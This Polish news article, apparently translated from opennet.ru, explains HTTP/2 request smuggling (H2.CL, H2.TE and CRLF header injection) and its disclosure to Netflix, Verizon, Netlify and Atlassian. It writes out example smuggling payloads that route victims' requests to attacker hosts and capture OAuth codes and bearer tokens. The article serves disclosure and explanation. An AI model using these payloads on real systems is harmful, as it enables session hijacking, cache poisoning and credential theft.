Systemy webowe, w których frontend nawiązuje połączenia za pomocą HTTP/2 i przekazuje je do backendu za pomocą HTTP/1.1, okazały się podatne na nową wersję ataku „HTTP Request Smuggling”, która umożliwia wstrzykiwanie odpowiednio sformatowanych zapytań klienta w zawartość zapytań innych użytkowników przetwarzanych w tej samej klasie między frontendem a backendem. Atak może być wykorzystany do wstawiania złośliwego kodu JavaScript do sesji z legalną stroną, obchodzenia systemów ograniczeń dostępu i przechwytywania parametrów uwierzytelniania.
Problem dotyczy web-proxy, load balancerów, web-akceleratorów, systemów dostarczania treści i innych konfiguracji, w których zapytania są przekierowywane w schemacie frontend-backend. Autor badania wykazał możliwość ataku na systemy Netflix, Verizon, Bitbucket, Netlify CDN i Atlassian, uzyskując 56 tysięcy dolarów w programach nagradzających za wykrywanie podatności. Istnienie problemu zostało również potwierdzone w produktach F5 Networks. Częściowo problem dotyczy mod_proxy w serwerze http Apache (CVE-2021-33193), poprawki oczekiwane są w wersji 2.4.49 (deweloperzy zostali powiadomieni o problemie na początku maja i otrzymali 3 miesiące na poprawkę). W nginx możliwość jednoczesnego wskazywania nagłówków „Content-Length” i „Transfer-Encoding” została zablokowana w poprzedniej wersji (1.21.1). Narzędzia do przeprowadzania ataków zostały już dodane do zestawu Burp i są dostępne w formie rozszerzenia Turbo Intruder.
Zasada działania nowej metody wstrzykiwania zapytań w ruch jest podobna do podatności ujawnionej przez tego samego badacza dwa lata temu, ale ograniczona do frontendów przyjmujących zapytania za pomocą HTTP/1.1. Przypomnijmy, że w schemacie frontend-backend dodatkowy węzeł — frontend — przyjmuje zapytania klientów, nawiązując długotrwałe połączenie TCP z backendem, który dokonuje bezpośredniej obróbki zapytań. Przez to wspólne połączenie zazwyczaj przesyłane są zapytania różnych użytkowników, które podążają jeden za drugim z wykorzystaniem protokołu HTTP.
Klasyczny atak „HTTP Request Smuggling” opierał się na tym, że frontendy i backendy różnie interpretują użycie nagłówków HTTP „Content-Length” (określa całkowity rozmiar danych w żądaniu) i „Transfer-Encoding: chunked” (pozwala na przesyłanie danych w częściach). Na przykład, jeśli frontend obsługuje tylko „Content-Length”, ale ignoruje „Transfer-Encoding: chunked”, atakujący może wysłać żądanie, w którym jednocześnie wskazane są nagłówki „Content-Length” i „Transfer-Encoding: chunked”, ale rozmiar w „Content-Length” nie odpowiada rozmiarowi łańcucha chunked. W takim przypadku frontend przetworzy i przekaże żądanie zgodnie z „Content-Length”, a backend będzie oczekiwał zakończenia bloku na podstawie „Transfer-Encoding: chunked”, a pozostały ogon żądania atakującego znajdzie się na początku obcego żądania, które zostało przekazane w następnej kolejności.
W przeciwieństwie do tekstowego protokołu HTTP/1.1, którego analiza odbywa się na poziomie linii, HTTP/2 jest protokołem binarnym i manipuluje blokami danych o wcześniej określonym rozmiarze. W HTTP/2 używane są pseudo-nagłówki, które odpowiadają zwykłym nagłówkom HTTP. W przypadku interakcji z backendem za pomocą protokołu HTTP/1.1, frontend przekształca te pseudo-nagłówki w odpowiednie nagłówki HTTP/1.1. Problem polega na tym, że backend podejmuje decyzje o analizie strumienia na podstawie ustawionych przez frontend nagłówków HTTP, nie mając informacji o parametrach początkowego żądania.
W tym wypadku wartości „content-length” i „transfer-encoding” mogą być przekazane w formie pseudo-nagłówków, mimo że w HTTP/2 nie są one używane, ponieważ rozmiar wszystkich danych określany jest w osobnym polu. Niemniej jednak, w procesie przekształcania żądania HTTP/2 w HTTP/1.1, dane te nagłówki są przenoszone i mogą wprowadzić backend w błąd. Wyróżnia się dwa główne rodzaje ataku: H2.TE i H2.CL, w których backend jest wprowadzany w błąd niepoprawną wartością transfer-encoding lub content-length, która nie odpowiada rzeczywistemu rozmiarowi ciała żądania, które dotarło do frontendu za pomocą protokołu HTTP/2.
Jako przykład ataku H2.CL podano wskazanie niewłaściwego rozmiaru w pseudo-nagłówku content-length przy wysyłaniu zapytania HTTP/2 do Netflix. To zapytanie prowadzi do dodania analogicznego nagłówka HTTP o nazwie Content-Length podczas komunikacji z backendem przez HTTP/1.1, ale ponieważ wartość w Content-Length jest mniejsza od rzeczywistej, część danych w ogonie jest przetwarzana jako początek następnego zapytania.
Na przykład zapytanie HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Spowoduje to wysłanie do backendu zapytania: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Ponieważ Content-Length ma wartość 4, backend otrzyma jako ciało zapytania tylko «abcd», a pozostałą część «GET /n HTTP/1.1…» przetworzy jako początek następnego zapytania, powiązanego z innym użytkownikiem. W związku z tym dojdzie do rozsynchrynizacji strumienia i w odpowiedzi na następne zapytanie zostanie zwrócony wynik przetwarzania fałszywego zapytania. W przypadku Netflix wskazanie zdalnego hosta w nagłówku «Host:» w fałszywym zapytaniu doprowadziło do wyświetlenia klientowi odpowiedzi «Location: https://02.rs?x.netflix.com/n» i umożliwiło przekazanie klientowi dowolnej treści, w tym wykonanie swojego kodu JavaScript w kontekście strony Netflix.
Drugi wariant ataku (H2.TE) wiąże się z podstawieniem nagłówka «Transfer-Encoding: chunked». Użycie pseudo-nagłówka transfer-encoding w HTTP/2 jest zabronione przez specyfikację, a zapytania z nim należy traktować jako niepoprawne. Mimo to niektóre implementacje frontendowe nie uwzględniają tego wymogu i dopuszczają użycie pseudo-nagłówka transfer-encoding w HTTP/2, który przekształca się w analogiczny nagłówek HTTP. Przy obecności nagłówka «Transfer-Encoding» backend może uznać go za bardziej priorytetowy i wykonać analizę danych w trybie «chunked», używając bloków o różnych rozmiarach w formacie «{rozmiar}\r\n{blok}\r\n{rozmiar}\r\n{blok}\r\n0», mimo początkowego podziału według łącznego rozmiaru.
Obecność podobnej luki została zademonstrowana na przykładzie firmy Verizon. Problem dotyczył portalu autoryzacji i systemu zarządzania treścią, który jest również używany na takich stronach jak Huffington Post i Engadget. Na przykład zapytanie klienta przez HTTP/2: :method POST :path /identify/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Prowadził do przesłania do backendu zapytania HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Backend z kolei zignorował nagłówek "Content-Length" i przeprowadził dzielenie w strumieniu na podstawie "Transfer-Encoding: chunked". W praktyce atak pozwolił na przekierowanie zapytań użytkowników na swoją stronę, a także przechwycenie zapytań związanych z uwierzytelnieniem OAuth, których parametry były widoczne w nagłówku Referer, a także na symulowanie sesji uwierzytelniania i inicjowanie wysyłania danych użytkownika na host atakującego. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Do ataku na implementacje HTTP/2, które nie pozwalały na wskazanie pseudonagłówka transfer-encoding, zaproponowano inną metodę, polegającą na wstrzyknięciu nagłówka "Transfer-Encoding" poprzez jego dołączenie do innych pseudonagłówków, oddzielając je znakiem nowej linii (po konwersji do HTTP/1.1 w takim przypadku tworzy się dwa oddzielne nagłówki HTTP).
Na przykład wspomniana problematyka dotyczyła Atlassian Jira i Netlify CDN (używanego do dostarczania strony startowej Mozilla w Firefox). W szczególności zapytanie HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
prowadził do wysłania do backendu zapytania HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Inną metodą wstrzykiwania nagłówka "Transfer-Encoding" było dołączenie go do nazwy innego pseudonagłówka lub do linii z metodą żądania. Na przykład, w przypadku odwołania do Atlassian Jira, nazwa pseudonagłówka "foo: bar\r\ntransfer-encoding" z wartością "chunked" prowadziła do dodania nagłówków HTTP "foo: bar" i "transfer-encoding: chunked", a wskazanie wartości "GET / HTTP/1.1\r\nTransfer-encoding: chunked" w pseudonagłówku ":method" było konwertowane na "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Badacz, który zidentyfikował problem, zaproponował również technikę tunelowania zapytań do przeprowadzenia ataku na fronty, w których dla każdego adresy IP Tworzone jest oddzielne połączenie z backendem, a ruch różnych użytkowników nie jest mieszany. Proponowana technika nie pozwala na wnikanie w zapytania innych użytkowników, ale umożliwia zainfekowanie globalnej pamięci podręcznej, co wpływa na przetwarzanie innych żądań, oraz pozwala na dokonanie podstawienia wewnętrznych nagłówków HTTP, używanych do przesyłania informacji serwisowych z frontendu do backendu (na przykład, podczas uwierzytelniania na froncie, w takich nagłówkach backend może otrzymywać informacje o bieżącym użytkowniku). Jako przykład zastosowania tej metody w praktyce, za pomocą infekcji pamięci podręcznej udało się uzyskać kontrolę nad stronami w usłudze Bitbucket.
Źródło: opennet.ru
